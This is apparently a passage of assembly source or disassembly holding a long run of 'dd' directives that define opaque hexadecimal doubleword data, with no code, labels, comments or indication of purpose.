		dd 885B05C1h, 788AF088h, 0EC1AA300h, 0CB362749h, 52143026h
		dd 0D7F09ED8h, 81E08A2Eh, 689BBC00h, 484D2BF9h,	0C4494C6Bh
		dd 6199DE00h, 902A5BD9h, 0DD27681Eh, 0CE380039h, 0DAC833BCh
		dd 5A161DF3h, 0E4DC4078h, 0B0F16514h, 5E624900h, 679E8061h
		dd 7F5300BDh, 9B521D50h, 9C00F4ECh, 0A3EEE133h,	0B02D31h
		dd 0FC51ACFAh, 9BA94532h, 747458h, 0DD17427Ch, 0A38B35h
		dd 0E0B3EB8h, 1AD12AF6h, 400D6EEh, 4C8D16F4h, 7E45E1Dh
		dd 0EA0B87B2h, 0F6F7700Ah, 92011E7Dh, 4ACE15E5h, 0EDEC952Bh
		dd 0CCE950F1h, 8D761807h, 0B3C9184Dh, 8E5FD600h, 4E741F79h
		dd 686848DCh, 9CA19B00h, 2D1E191Dh, 0DC2C9328h,	4267C912h
		dd 8EC5400h, 0F6743EF3h, 0B08E7596h, 0A97D006Ch, 0E3F8CB87h
		dd 161DC3E4h, 0EC3695Bh, 0A01E2A19h, 20C5E02h, 0DBDF82AAh
		dd 4440EE16h, 0CF0F8569h, 8F42D801h, 0ECCC16Ch,	0DC47417Ch
		dd 0E4E1A3A0h, 83F93BECh, 886D1180h, 0D66F231Fh, 3A16A003h
		dd 0B0B4D3D1h, 374689h,	1C03013Dh, 579D098Eh, 0B6D9D600h
		dd 0F743B148h, 8FF200F4h, 672FACF3h, 301ED8E1h,	0AEFC75h
		dd 80AE117Dh, 11A4E419h, 0BB3D0083h, 26D6503Eh,	3C00499Bh
		dd 0EF578108h, 124ACAh,	939888E0h, 41B7ED7Ch, 0D7D2BF00h
		dd 53789991h, 621D396Fh, 19640580h, 26D98758h, 9FD55100h
		dd 0F3F6A565h, 37FE0054h, 67E514AEh, 1138D3D9h,	0AFDE80ECh
		dd 25DC2712h, 4ABC015Dh, 0F8E28C30h, 0E4B8404Dh, 6200801Ch
		dd 1181ABFCh, 1277A86Ah, 7EC40BAh, 908FC7B0h, 5166E054h
		dd 0D363810Bh, 24AC0025h, 0A0CB31D0h, 0CAECECh,	0BD3E1E49h
		dd 5841C49Dh, 0F9A9E900h, 0F34CB1Dh, 0D6B11D62h, 9D89801Ch
		dd 0AF4D7BECh, 4E23CD00h, 0E18FCA2Eh, 0A800A46h, 38D08EEAh
		dd 7580A53Ah, 43B70D30h, 9500A6C6h, 88E3323Bh, 0A906BDh
		dd 9A98F902h, 0EB97C892h, 0ED1FF51Dh, 11CDC7CCh, 59170149h
		dd 0E2E59A79h, 0C9D040B9h, 0F08CD5F9h, 688B487Eh, 68649500h
		dd 9FEDE349h, 0C7868E05h, 1C94412Ah, 5FF09F80h,	0A9B00E64h
		dd 5680D17Ah, 0F9A85587h, 0EC0E3Fh, 0E5641314h,	38A4393Eh
		dd 0AB072BB6h, 0F08909A5h, 73CD8D0Dh, 0F46A4800h, 6CAACC5h
		dd 0FFBD00D5h, 0D039CB96h, 4D00E622h, 0ACBB3E86h, 300E60DAh
		dd 0BE487A8Eh, 3600F40Fh, 0CF277C97h, 4A427Bh, 39715753h
		dd 762F64D3h, 0E9BE8A00h, 0BCC13594h, 6C0B00FFh, 0C3599252h
		dd 0C400D4DEh, 0B90F294Fh, 0CBC15Ch, 72426BDDh,	0FBCA6306h
		dd 9445B800h, 0C861074Ah, 0E7AA00E5h, 646E7E47h, 4E162855h
		dd 0EF0568ADh, 800E477h, 373C63AAh, 13EE0798h, 0C0B7AFD1h
		dd 17121FE5h, 0EE8CF00h, 0C304EA90h, 7210024h, 0A7614ABh
		dd 800047E0h, 9F209C89h, 3EB5115h, 16E2A866h, 5BE8391Eh
		dd 0BB002153h, 4AB53593h, 13D27049h, 26029FEh, 0C2B379B1h
		dd 8908D3C0h, 7A100B00h, 0F38785DFh, 5D7315CAh,	8110B868h
		dd 93F78F07h, 80C0EF0Fh, 33748832h, 62170014h, 6E1E4373h
		dd 0F800651Dh, 5D0EBEEDh, 0C2F9D9h, 75A54B05h, 2801D491h
		dd 0FDF59803h, 0C8721A32h, 3ED81Dh, 53C8DEB9h, 0E2CBDA84h
		dd 94173700h, 6D417908h, 990A5CC0h, 54878A07h, 64FD6045h
		dd 0CD03E5A7h, 34C35CD5h, 9A100063h, 0B9729574h, 0BA01DB1Ah
		dd 839993CCh, 7AE5F343h, 39E46BF5h, 187F14h, 96736EAAh
		dd 7949FF2Dh, 7790AF0Fh, 116A80DFh, 0B94B41h, 4035271Bh
		dd 6778842Dh, 0A688F907h, 9EB004BAh, 3FD60BFh, 0F809E2C6h
		dd 6AA3DC22h, 0CD5C8780h, 31007CF0h, 917A1C13h,	3CD6A294h
		dd 14804B4Dh, 0F5368927h, 680F6562h, 40927A6Bh,	7BF12D0Ah
		dd 0F0820039h, 5FEA9C23h, 0FA00989Fh, 0FE3F09ADh, 9843F3B1h
		dd 78AE000Eh, 33AF4845h, 0B7E06B4Eh, 0A2755B00h, 97D5966Dh
		dd 0F1F71C26h, 54C001ACh, 818025ABh, 433E968h, 4BF8B5DBh
		dd 871A396Dh, 0C04E961Fh, 0A92D0B79h, 4100507Bh, 0CF10B76Bh
		dd 18B8EB0h, 24C61BD8h,	85C3EE0Bh, 0ADFCDF70h, 806F8100h
		dd 0CD273Bh, 63FA9B1h, 3E93730Eh, 0A5978200h, 0B8AE558Bh
		dd 91E60061h, 4DE28692h, 1E00BF6Dh, 2CA4A16Ch, 0F2FF81h
		dd 0B70942BDh, 264DF0E7h, 294B9100h, 0CD6841E8h, 3E511D6Ah
		dd 3FAF007Eh, 1C27608Ah, 49009D75h, 432295BFh, 20DA67Dh
		dd 6770EDC3h, 63C11F05h, 0D3B080B7h, 538D5DDAh,	9DE7E4Dh
		dd 8A5BCCD0h, 0E6108E00h, 0E20316CAh, 452CBB79h, 0C486809Eh
		dd 52A4001Fh, 14389572h, 9407C5C3h, 22BE7F8h, 35D29B20h
		dd 0C206181Bh, 5E3351ECh, 8CA93F0Bh, 0E6CE0362h, 89F1D84Eh
		dd 3C540057h, 4F7AF672h, 6E01FF08h, 0E77745E5h,	36C00D35h
		dd 330E1EFCh, 9C2D80A7h, 2BAA4BF5h, 0F4710B28h,	0D6602C00h
		dd 1EAE6E03h, 88BB4987h, 53B6940Bh, 5D8C9A80h, 570F0423h
		dd 0E31FA048h, 0E3E77F3Fh, 0A80F0060h, 40B5922Eh, 5E3A5CF2h
		dd 9E68BF3Ah, 0E987A995h, 282077FCh, 58CFC1h, 0C63B35B7h
		dd 0CCAEAA4Dh, 5242151Bh, 2F5FD910h, 78609DF9h,	6046036Bh
		dd 0E5BE8303h, 0DCC6EEF8h, 0A2DAAE00h, 97EDC0D5h, 6BD21795h
		dd 0BE00EF01h, 0CBCCB43Ch, 587F03E0h, 990FC17Ah, 0CAC370D7h
		dd 401839Bh, 8E1A7805h,	0AA97610Bh, 5B8603CBh, 0F5D8F792h
		dd 7600B090h, 7DAA6B99h, 5C64Bh, 782CFAEAh, 96AD8E54h
		dd 0A2D3E600h, 277F7237h
		dd 71380726h, 0E0AC4A29h, 81DC121Dh, 0B245A900h, 0D7C40F94h
		dd 0BBAF04C8h, 0C0198AA0h, 917922BBh, 6F126E02h, 8034FE7Ch
		dd 0F7A6A508h, 0D6C70098h, 944DC843h, 1001167h,	3C89AE2Fh
		dd 9F9E4AD5h, 0E60E7F50h, 405DB460h, 0B8D9CAF6h, 744F00DEh
		dd 84E41E48h, 2B003D91h, 8B95C418h, 0DC7F60h, 0A1A3C6F2h
		dd 0E6A4BF16h, 0B21FC200h, 97ECC00Eh, 189F003Ch, 0D5D8A970h
		dd 0EE381A89h, 0B34A9F02h, 83DCC700h, 1DEB1B8h,	98CB3E77h
		dd 40F70464h, 5ACD5EBEh, 0A88DACA0h, 49B75218h,	8D6F011h
		dd 5BA396F1h, 0F0FC6A1Fh, 1F8F7D00h, 6BB7A587h,	26E0712h
		dd 209CC67Eh, 0E552019Ah, 7BEDCE00h, 0CF4508C2h, 0F4720232h
		dd 4642719Dh, 0DC8F8E3h, 0A81E134Dh, 3C452F0Ch,	80EB14F4h
		dd 163DCDC6h, 4E00C572h, 0CA836780h, 0E010032Ah, 98F6FAA2h
		dd 0BE080055h, 2C8B6815h, 51FE46A8h, 8AEE1C00h,	0A69C3562h
		dd 5EC0A0E4h, 70DF0055h, 31492545h, 8100D5D1h, 0D79E5404h
		dd 180E9194h, 80C54268h, 77FA82BDh, 3952571Dh, 81CF2800h
		dd 16F245Fh, 921DA217h,	40A687D0h, 0CD83ACEAh, 0F470B63Ch
		dd 0C6EA5B07h, 0CAFE4626h, 0FF00EC9Ah, 0CEB7DA1Bh, 4A5F0010h
		dd 7C91F681h, 0E43CFC7Dh, 81593A54h, 8A998584h,	79E87B98h
		dd 4B2300E3h, 7D37B857h, 5624C270h, 0D2075839h,	6A005E1Bh
		dd 0CADE86h, 0BA5C09D0h, 80E0BEBCh, 5D3FD61Dh, 3BC042DFh
		dd 0C5D54911h, 55C71497h, 8D0308EFh, 1F804831h,	2140C689h
		dd 190BFC58h, 98A6B900h, 73C3FB70h, 0C40D0051h,	3B0AF4BAh
		dd 4A03D6FEh, 17460E42h, 0F7D2E0F6h, 4D900054h,	484E6EF3h
		dd 2B1F6992h, 33AAA62h,	0A1B68F42h, 0FA8A88B0h,	0B79C0002h
		dd 933EDF79h, 0A2003D54h, 0AA6E4B18h, 48239B62h, 253FC289h
		dd 290010CCh, 86CC606Ah, 0A1008F30h, 115B63A6h,	73D97150h
		dd 2E670B8Ch, 80FFAB7Bh, 55DB2999h, 0EA2B3A5Fh,	0FB7A4280h
		dd 0CBDC7CE8h, 9FE43300h, 5B69DA04h, 6CEB00C4h,	4A7A44FCh
		dd 3D0747D2h, 632083D6h, 0B0CBC6E0h, 118E00CCh,	0AFD00E34h
		dd 0A0019DC7h, 95A5DE6Dh, 0A080E6B8h, 0D5ACAA3Ch, 29C032D2h
		dd 0AEE389B4h, 16D10010h, 33836547h, 4E006D9Ch,	6CCAA854h
		dd 2456928Eh, 0D01E8Ch,	91064B36h, 95093BFEh, 811138BCh
		dd 0A0F68B5Ch, 0CA8720h, 3E487ADFh, 0EE5D3A3Ch,	0B34E4B03h
		dd 7F5801FFh, 0AE2500D2h, 75BD732h, 0B200F296h,	0B03680D9h
		dd 0AE690DCh, 228B78A1h, 8F7900ACh, 1ABFCBA2h, 0A9839F00h
		dd 0BB9ABD64h, 267A1216h, 0B44409F2h, 3572EB80h, 0B0008B5h
		dd 25180986h, 0FBEE27h,	5D8E4A58h, 0A11D3CCAh, 49CE5200h
		dd 503DBCEFh, 88315159h, 39F61BDCh, 0CE0164B6h,	0ADE5A8D5h
		dd 0F867D55Dh, 801FCC87h, 0AA55959Ah, 0E5C900A8h, 0F9930F4h
		dd 72B009D0h, 4C10A6B2h, 1373F955h, 99A54600h, 27FCA87Bh
		dd 420C0088h, 0CC763515h, 0C900622Ah, 0F27C9BADh, 0EF09ADBh
		dd 6F3370AAh, 0E3E42280h, 0B300266Ch, 49A5F7B9h, 18EE0CDh
		dd 6270CED5h, 0F476E880h, 3400C49Dh, 61682498h,	7328D8h
		dd 0C2B10E81h, 980DD2Fh, 146A2260h, 0EA7417B0h,	26FD0E4Dh
		dd 0A2A137A3h, 0BD054A32h, 5B7002D8h, 0E0C81609h, 77AED0h
		dd 0D2180B69h, 75A453B4h, 0BE558F00h, 95BDDE3Ah, 0AA60052Ah
		dd 1DE0826Bh, 1355308h,	92034E16h, 2BDC2032h, 0B8C52700h
		dd 0C761FFABh, 95150021h, 0E5184C0h, 0AD58D8F4h, 0CD20028Ch
		dd 0E25DC98Ah, 6604A143h, 9ED8C6BDh, 213F031Dh,	9CE84B06h
		dd 0E0D57490h, 0FD3E170Ch, 3F868C3h, 0EF288AD7h, 0F9D058AEh
		dd 0C4B2C75Dh, 68167074h, 1400082Ah, 0D81242FCh, 0A64F0A72h
		dd 2AA49C28h, 0C6023DE8h, 38DC5499h, 0D988E495h, 0E466ED24h
		dd 3C5D5803h, 0F021F87Dh, 0BE491D0Ah, 65C4C019h, 0CAF28F17h
		dd 0FD62E201h, 0AED1920Dh, 17F8020h, 873A25Eh, 0DC25C6BFh
		dd 4A0041FEh, 87F3DFC2h, 0AA68C8h, 0D339F73Bh, 0D132E6FFh
		dd 1438A549h, 88802D45h, 7ED28EBCh, 0B8942CA0h,	9EFE8A98h
		dd 809F4A3Eh, 0B390BC93h, 0F41ED512h, 682B0019h, 785EF0E4h
		dd 0BE033386h, 9A4010B7h, 160157Eh, 1F167015h, 0E3E800A9h
		dd 0B9144DAFh, 8500A57Dh, 12F5ABCBh, 58C53FEFh,	6F2C5C56h
		dd 47700F1h, 0C3A1D453h, 0A4235828h, 0E0F58024h, 0B9341380h
		dd 479B8Ah, 94FFEE43h, 4B9277F4h, 3DABCE06h, 0E590A85Dh
		dd 0B3CCF0CFh, 0D832004Ah, 49D0CDD3h, 0AB0C378Fh, 0B0712E85h
		dd 14191418h, 8E0DD0E5h, 0EC19DF01h, 41076575h,	61DEAB44h
		dd 8E960C91h, 0F9002433h, 71A33AF2h, 27245879h,	9600B813h
		dd 6948302Dh, 4A800CB3h, 24B0E187h, 1F9ED200h, 1AC684A2h
		dd 60B100CDh, 313C12E5h, 0A5065E7Ch, 217C130h, 0F839E6B9h
		dd 26240B82h, 8802F3Bh,	1B882CC5h, 42540B00h, 9747679Ch
		dd 3ADEE84h, 0E908C6C2h, 50003ADCh, 0C8E39144h,	7995719h
		dd 6F7278BCh, 9773F3C6h, 0CD1E70E8h, 58ADB07h, 11A0F1C2h
		dd 3F6CA2h, 75D0D406h, 25DDCB5Dh, 0D3923Ch, 706EC5E5h
		dd 0D6CCE6h, 1B49322Eh,	0B1E42CF4h, 2FF86B00h, 4522E305h
		dd 357210h, 1DFB7279h, 0E103D164h, 0CA6A200h, 2778063Eh
		dd 0E0677381h, 0FF0400DBh, 0F26558BFh, 7D030CABh, 0D2F94080h
		dd 0B35A8855h, 0ED0D3E5Bh, 0E67EC500h, 36971D29h, 6A13877Dh
		dd 0D000EAA3h, 0B1F8DA40h, 418900E5h, 3429FA35h, 1158B3B2h
		dd 2FDD00CBh, 0BB2618A3h, 814E005Ch, 66FFBFECh,	631CEE88h
		dd 0F68099C9h, 4758BB85h, 51B60061h, 0A5BA5DF7h, 320B8B77h
		dd 802F9A3Bh, 0BFF09C70h, 69E20417h, 8001DB22h,	403C09C5h
		dd 9B939F0Eh, 0EB7940DFh, 692DCCh, 4DAC4410h, 0BBE85F17h
		dd 183D8F00h, 76DFF874h, 8A6C0953h, 4407C0EBh, 1503000Bh
		dd 0E775847Fh, 20A04Dh,	828E7E96h, 2C215DFAh, 0CE315AEh
		dd 0E521051Fh, 775EF900h, 0FE434B4Fh, 0E6DE1E8Ch, 13DC80E3h
		dd 6F0D54CCh, 9C532600h, 8333503Ah, 0B091006Ch,	40ACEAC8h
		dd 0B9006625h, 488E51DEh, 1041B2h, 0CBC2C124h, 853634D9h
		dd 6E19FB1Fh, 0E7C75F40h, 0E47084h, 792B644Ah, 4D30BD77h
		dd 0B37BEE01h, 7EDF430Fh, 0CB8C20h, 0E361F307h,	0BEE6B5D4h
		dd 508AD300h, 4408B330h, 2BCC1FCEh, 5F394207h, 0BC40E86Ch
		dd 0B80E1312h, 9E8DF171h, 347A5B00h, 0FA9369F9h, 23F7089h
		dd 11D01A76h, 0C8605810h, 3D0FA81Bh, 0CB697823h, 0D10C0187h
		dd 0A07FE529h, 0F7F8AB16h, 6D92C000h, 0F4B6CC1Bh, 75C20E78h
		dd 1E295613h, 0EC8964A2h, 0A773A923h, 0D3E9C290h, 0F50D0062h
		dd 98405706h, 0AB0053A4h, 769BA7F2h, 90DAF72Eh,	28541E19h
		dd 8F084055h, 6CAA8034h, 0CB00CC98h, 87674A40h,	32356979h
		dd 8871D0A5h, 4CC95810h, 0E1079CA8h, 371643C1h,	50B7B72Dh
		dd 0C5D46EAEh, 0E301D272h, 41817AB3h, 0DC4165D1h, 1C21FBC9h
		dd 42806C73h, 0B018135Ch, 8711DB3Ch, 0E4F127F3h, 0F55305A0h
		dd 1D8E2C92h, 1C2648h, 683BF7D6h, 8500D00Ch, 1053EE75h
		dd 1C8D3E3Dh, 0C098B57Dh, 1E51196Fh, 56EAA1E7h,	9A21D89Ah
		dd 9739018Eh, 0FC7A9BFCh, 8A0F17B6h, 60945A95h,	2D19D71h
		dd 5D011D03h, 4860D870h, 398915B8h, 0E1018476h,	12326688h
		dd 0A1942491h, 0A7F0DDEEh, 8B00B472h, 1B35E786h, 59B56CADh
		dd 9E1FD023h, 1F7440CFh, 0A14A12FEh, 0F4555603h, 0C1D4A9h
		dd 0F6110548h, 0CB8EC873h
		dd 0ACA3DE26h, 531A3702h, 0DDAC8564h, 74439780h, 0CA58E1h
		dd 0A5D220Ch, 2A00D760h, 99EE26A6h, 7A1C3402h, 9DF91E2Ch
		dd 6AB9407Ch, 0B51340BCh, 1D5C02E2h, 0CC3801C8h, 0B9193DDDh
		dd 0FCD5F0h, 6090333Ch,	119691A8h, 0DEB15A1Ch, 4D4B55DEh
		dd 0A5400135h, 87FCB9AAh, 88231244h, 43E01D3Fh,	1758D471h
		dd 0B11A2009h, 62D8C167h, 76149FE0h, 170B71DFh,	404D3ED6h
		dd 0C754B404h, 0F002CC1h, 568759FCh, 0B826C009h, 0BD67009Ch
		dd 0D4EAC350h, 8F27D7B6h, 0CA47614Fh, 0FE86CE20h, 2EA10080h
		dd 0DC75A2CBh, 0B858A565h, 9C9500E4h, 0C5428733h, 3D7E6E7h
		dd 5C224CE1h, 4DEA6D27h, 0F5007446h, 0B5DC7260h, 1D1F352h
		dd 30CBE820h, 208A09B0h, 88017814h, 0F69D21CDh,	6DE46F29h
		dd 0DB130098h, 6991579Ch, 40161E7Eh, 0A6002B2Eh, 86AC4601h
		dd 0A41158A2h, 0D1D69500h, 303A4C5Bh, 450F9C00h, 94206BFh
		dd 0A2E207A5h, 804D1497h, 0E12CB8CAh, 0AA6E5E01h, 0A405C9EEh
		dd 2EACED8h, 355C4C50h,	446096B8h, 810FFB7Ah, 0E0F61940h
		dd 0A061B022h, 107E27h,	54AE7292h, 0E34F0FEBh, 52FB8A1Dh
		dd 84006852h, 0D83AF036h, 2E6C00C8h, 61D914A8h,	0B600AE37h
		dd 0F4904BDEh, 0B2867Fh, 3343F2DAh, 3E9A3CABh, 0A32BDF03h
		dd 3E2D951Dh, 208052E8h, 51B86DBFh, 0A9005C2Fh,	0BA63B122h
		dd 3F4E353Fh, 0E500E4AFh, 7A920BEEh, 6E15F624h,	3C084F40h
		dd 6A568174h, 0CCC3F081h, 3C7668E8h, 47780F3h, 0EA650DF1h
		dd 6BC480FDh, 0C8010CAAh, 1AEEBD6Fh, 1DE05530h,	0F72A0901h
		dd 0D82062F1h, 907E8EE2h, 0DE3AD900h, 7D998027h, 0C2A23F6Ah
		dd 0ACC94E80h, 0F8C70483h, 8F1E2Dh, 6D449A74h, 0B517003Ch
		dd 8AB7E52Dh, 4900E6D6h, 0D5C1105Dh, 0A29383h, 0C55A4889h
		dd 88CF29FBh, 26F4E709h, 36EC804Fh, 0EAFC28Ch, 835674EBh
		dd 0C11B8605h, 0D44ABF60h, 72EA0D34h, 0F15D7C00h, 62A3C373h
		dd 7BD269Ah, 0E8320325h, 0C49351A1h, 0BCAB8FB0h, 6523D400h
		dd 0D284CCB4h, 25F07E0Eh, 14002934h, 0B9A0C299h, 8895A10Bh
		dd 11A0212Ch, 403476F7h, 0BA1707B2h, 60015083h,	8EC04385h
		dd 5D6FCA00h, 0C18FA72Ah, 0C9C63BF2h, 0A6A12C00h, 7DCFDF7Eh
		dd 0B5185B01h, 0D1897868h, 0E6E430h, 0DA936A1Ah, 675C4E0Ah
		dd 3A009498h, 72AE24C7h, 0B26D47E6h, 15ED0028h,	4C7ABFCFh
		dd 0F31F9957h, 0AF03228Dh, 0E19F2F05h, 1090234Eh, 24C407B5h
		dd 20FC06C5h, 0B6221C8Ah, 3A62CFE8h, 2CF62B00h,	209A04C8h
		dd 2181EA0Dh, 23E0803Bh, 16AC7679h, 0DC20BA0h, 0C0290A24h
		dd 0E374D13h, 0D5805084h, 0E844C2h, 0BE1A6D4Ah,	829758Eh
		dd 8897B700h, 190CBF51h, 6D5F0C0h, 9B4E8BDCh, 6D009862h
		dd 43613C76h, 249736A3h, 3B74D52Fh, 0FCBFE700h,	0E3563015h
		dd 0B4530900h, 5966A29Bh, 0D2AD072Ah, 11D6D8CBh, 2084DA71h
		dd 0CD07C77Ah, 2F916B75h, 0FA30D080h, 472F63Eh,	0B4BEB73Dh
		dd 658815Bh, 0DFC6F0AFh, 86EA337Ch, 1F2D3B00h, 8A374907h
		dd 4B18C40Ah, 230880EDh, 4E6D73BEh, 31D02038h, 68B75932h
		dd 4C522900h, 563C6A59h, 48C12E78h, 392A26AFh, 0B60C28BEh
		dd 4C182CEFh, 8862851h,	414ED6E8h, 2F43481Eh, 306CF70Bh
		dd 0B6213F08h, 2002BF9h, 5E94EB24h, 0B8FA34D4h,	39062E01h
		dd 4228034Fh, 1000DB20h, 0BF1536BCh, 0AE07B3h, 0CE6F8950h
		dd 0A297B667h, 0D6CB3A00h, 0E1339668h, 0EF911C61h, 7AC380B9h
		dd 85ED1CC1h, 3B7E8A00h, 0D34DCE51h, 5A670064h,	8E980182h
		dd 6B03260Fh, 939DF344h, 0D8949339h, 0B2E1A0h, 67D1701h
		dd 0EEE76BC3h, 0B84AA400h, 0B3D7DA7Ch, 0D57C8Ah, 9A22543Dh
		dd 72857A49h, 3C06F807h, 6E00A4ECh, 0E9B1C4h, 0FB13A604h
		dd 0CB2B0B1Ah, 21AC08CCh, 30F04CD3h, 54766A03h,	1800AE0Dh
		dd 3A75F115h, 0BA77E6h,	34812E23h, 0FDC787BBh, 2D11800Fh
		dd 0A700DFB4h, 3E89C106h, 720B0C05h, 0F1589A46h, 0F60023F6h
		dd 0C5BB3599h, 6CBA76h,	0C0E7FC19h, 0A31A689h, 0C4717260h
		dd 605FB42Ch, 22395014h, 0A522AA3h, 3091F268h, 0E23E9F6Ch
		dd 78270CAEh, 1F98786Dh, 0F076436Eh, 0D8209128h, 0BF01CF72h
		dd 87FA2812h, 34D02B7Ah, 0FF20C069h, 0BA20CFD1h, 1B17A258h
		dd 0CA506E99h, 0AEC10003h, 6B40A77h, 0B495D601h, 0FAC02B65h
		dd 0D9A30197h, 0CBAE018Ch, 9216CC2Eh, 77715500h, 0E9321EF6h
		dd 21BA00DBh, 0A2A73323h, 443D818Bh, 0A4798B10h, 22A50736h
		dd 0B33E803Fh, 646C59DAh, 8713080Eh, 0CFB2D0A7h, 0C39FFFD0h
		dd 8CF0F7C0h, 168FE795h, 0EF2D71h, 958C239h, 6C004E59h
		dd 5247E596h, 28DAC138h, 0C0EC33CDh, 5AD6DB68h,	42075813h
		dd 0EEE38D88h, 0F3858050h, 0D130C086h, 5E48FDA5h, 0B300F075h
		dd 8C1342EFh, 53C428EDh, 109620E8h, 458020F7h, 29B3F383h
		dd 58144A00h, 0EE3359D5h, 9211019Eh, 945D7FCCh,	3D089804h
		dd 37CAF9h, 0A55E3E9Eh,	77D00AFBh, 0EC0A99FEh, 24B128B3h
		dd 2A9EE980h, 867E9492h, 0C93944h, 9CD09E36h, 4AF62592h
		dd 0FB97321Dh, 54DBEC80h, 0A3588402h, 0A0BF9BB0h, 0C0D4F8C3h
		dd 56617511h, 1D0C5C3Bh, 95BC737h, 2080FDD2h, 4C542915h
		dd 830627B1h, 1ADB2590h, 0B78E0299h, 0EC1DF055h, 0BF138C80h
		dd 1060FF5Fh, 2D12C720h, 48526F23h, 72F07900h, 0A7E2ECB7h
		dd 0BAD4DE38h, 0D56960A4h, 73FFC8h, 655E687Dh, 0D124E21h
		dd 404560C4h, 1148EE27h, 0FB614844h, 0A2D1E973h, 6E443058h
		dd 73C11F19h, 0CC8CC9F5h, 0F1C6ED80h, 20C25D4Dh, 443FEC20h
		dd 0D5E32048h, 9E24A3Dh, 2FAEC9C4h, 393477Bh, 860F3567h
		dd 81280A6Ch, 0F2183748h, 0ECB17208h, 4050C49Ch, 4473FA1Eh
		dd 34100045h, 0E29730BDh, 0EE00D348h, 0D1C3E4D8h, 1013DB6Ah
		dd 0DAB069h, 0F092B138h, 197D4ED0h, 81E3917h, 62180C0h
		dd 1A249229h, 3A2B0046h, 7DEF8FD4h, 0A0C8D8FBh,	72F1C036h
		dd 0E456ECB0h, 0B0BC2AC8h, 73F90300h, 0C3153260h, 23718EBh
		dd 18D980Fh, 0ABA1183Bh, 950506Bh, 5EE0F7h, 0FF89BFA8h
		dd 8E21C817h, 0C5F67809h, 0FA54110Bh, 54042E18h, 36C55CEEh
		dd 1820E832h, 39935416h, 0B78C2782h, 0F9E94322h, 0AE905BE8h
		dd 0D6CA1F07h, 0F01AF862h, 0D4B65880h, 0EAAF3C65h, 5CBC280Fh
		dd 173F81Ch, 24FF76ECh,	8A6F5DBEh, 0CC16E719h, 429D1811h
		dd 6D0F792h, 28FD071Ch,	0F1DCB992h, 22027C03h, 36523F4h
		dd 8C7D9E3Ah, 9167FEAh,	0CE9E23D6h, 3F3D4083h, 431D9179h
		dd 0ADC7E8BDh, 0B0518163h, 8C708705h, 0A02707A4h, 0E072DAAAh
		dd 0E22DDF65h, 80E0712Ah, 0D2495B00h, 7047D975h, 0D60C0057h
		dd 7168311h, 8000693Fh,	0E0C37736h, 0AF9E1A6h, 0C659BC70h
		dd 567AC0CCh, 25215C3Ah, 0EEE9135h, 23542214h, 818BD4BBh
		dd 61EA5E4Dh, 40C24B64h, 9BED6028h, 84D57078h, 956AD8E8h
		dd 23117039h, 2D73FE80h, 6442FCD1h, 73C41AC0h, 4600813Bh
		dd 91427E10h, 9823BF17h, 515D326Ch, 3B302A98h, 8C60349Eh
		dd 0D34C7090h, 0E7019E30h, 5EBBCF3Ah, 0B4514B82h, 9857DEF0h
		dd 8E270670h, 0F37F0080h, 0F434B4D3h, 1103A6E6h, 9542BF1Dh
		dd 56700912h, 2029C68Dh, 8841AC0Dh, 87B38B18h, 0B6F580D8h
		dd 18916948h, 941805D1h, 0A1E0D770h, 0FA17F271h, 8E1FD174h
		dd 0C740873Fh, 0D7804E8Dh, 1AF8682h, 6530C334h,	86CB0239h
		dd 643D5849h, 91881FA1h
		dd 0C07D1FA2h, 84A7C082h, 5C71CE0Ch, 0D3FB4A00h, 7EA7901h
		dd 96E600C6h, 2D3B8318h, 0BC038C7Ah, 105D237Eh,	818FA105h
		dd 8CC43820h, 0F0567C02h, 1637555Ch, 54241A16h,	738E8400h
		dd 1E5C9B17h, 0E6C03D02h, 63F8442Ch, 5C04E810h,	223443F5h
		dd 181E00E9h, 28706B54h, 0DB63F036h, 0F004FD39h, 506E2D07h
		dd 8C2EBCFCh, 0F192BA04h, 0EC6256D0h, 1207D4A0h, 20072AFh
		dd 6DC8475Bh, 2930652h,	885EA2A1h, 0E89FDB09h, 62D5ED08h
		dd 0B8405387h, 6600A14Ah, 0B3C878E7h, 1DD8E954h, 182FBD35h
		dd 5E55E1D1h, 0DA819514h, 1242338h, 0D103AF2Ch,	806C3366h
		dd 6D9264F9h, 28AD1E96h, 7536C021h, 0B25B9BAEh,	5F87CA01h
		dd 0D8054489h, 0DCCFC044h, 1FC05388h, 54F676A5h, 7A0C025h
		dd 280B92EBh, 0A98630DFh, 36013789h, 0DA804643h, 4473EA23h
		dd 0FD002223h, 0C4D12C73h, 2F8085A4h, 0AB4B73CBh, 0C6C905Ch
		dd 1DF1C82Eh, 0DD3B2079h, 5DB8500Dh, 374DF900h,	0C49D3339h
		dd 0D974F3h, 18B4939Eh,	26E19623h, 84304E70h, 0EB8B417Dh
		dd 8A3C1C4Fh, 0F4C1D4ACh, 0EEE24C53h, 22256032h, 9969h
		dd 6C9930D4h, 0BC018909h, 737286ECh, 23F0DC5Dh,	0B63A013Eh
		dd 8CDE43D9h, 1B6C301Ah, 0BA8DC00Bh, 0CA8000ACh, 1F83A997h
		dd 8142D8FAh, 209DD8Ch,	6D93EBC9h, 787BA0AFh, 0B7070F76h
		dd 32F27D8Dh, 6064A622h, 1D7218h, 30F073DCh, 1A41DD88h
		dd 0FCB10F07h, 2FD01E8Eh, 7B5BF8F9h, 5D6C0060h,	98F048CCh
		dd 0BCB13F9Ch, 638DFC00h, 0FE46D3h, 8F92CDBFh, 0D91F34C5h
		dd 2657C101h, 50306044h, 1D5C7C0h, 1BD7512Ch, 0CCE16A5Eh
		dd 1126C5F0h, 3200EE4Fh, 18845994h, 2B37003Eh, 0CE26602Fh
		dd 0EC004135h, 9812EAA0h, 0E5D0A3Fh, 61831411h,	89F35480h
		dd 0C2CCD652h, 0C014072h, 14E2DFB5h, 0FD062F81h, 79BE27F2h
		dd 0C9E101F8h, 0D2B4DFBFh, 0A8C280D5h, 0E303D430h, 3E19006Ah
		dd 0ED2CC61Fh, 3A00CB01h, 1DADFB2Bh, 61A68FFh, 1C811BB7h
		dd 310008DFh, 784D5E5Bh, 22BB58h, 0E4962C10h, 209CEC69h
		dd 9B40CC60h, 1E08554Fh, 4C7C452Eh, 0AE085D19h,	0A0401B6Fh
		dd 34ABD744h, 64230052h, 49EC8F9h, 940ECC6Ah, 81E6502Ah
		dd 139B9931h, 0A974EE8Eh, 701FA180h, 0B700911Ah, 0CB67F5Ch
		dd 0CBADA2h, 0DA99D521h, 0C35D48E9h, 40C08E77h,	0BAFA1CBBh
		dd 0C00F6004h, 0F87A179Ch, 81A9E439h, 985E22F2h, 5BCC6DAEh
		dd 187B0039h, 1E2B3E6h,	0D10230F6h, 4609DE1Bh, 7F34C094h
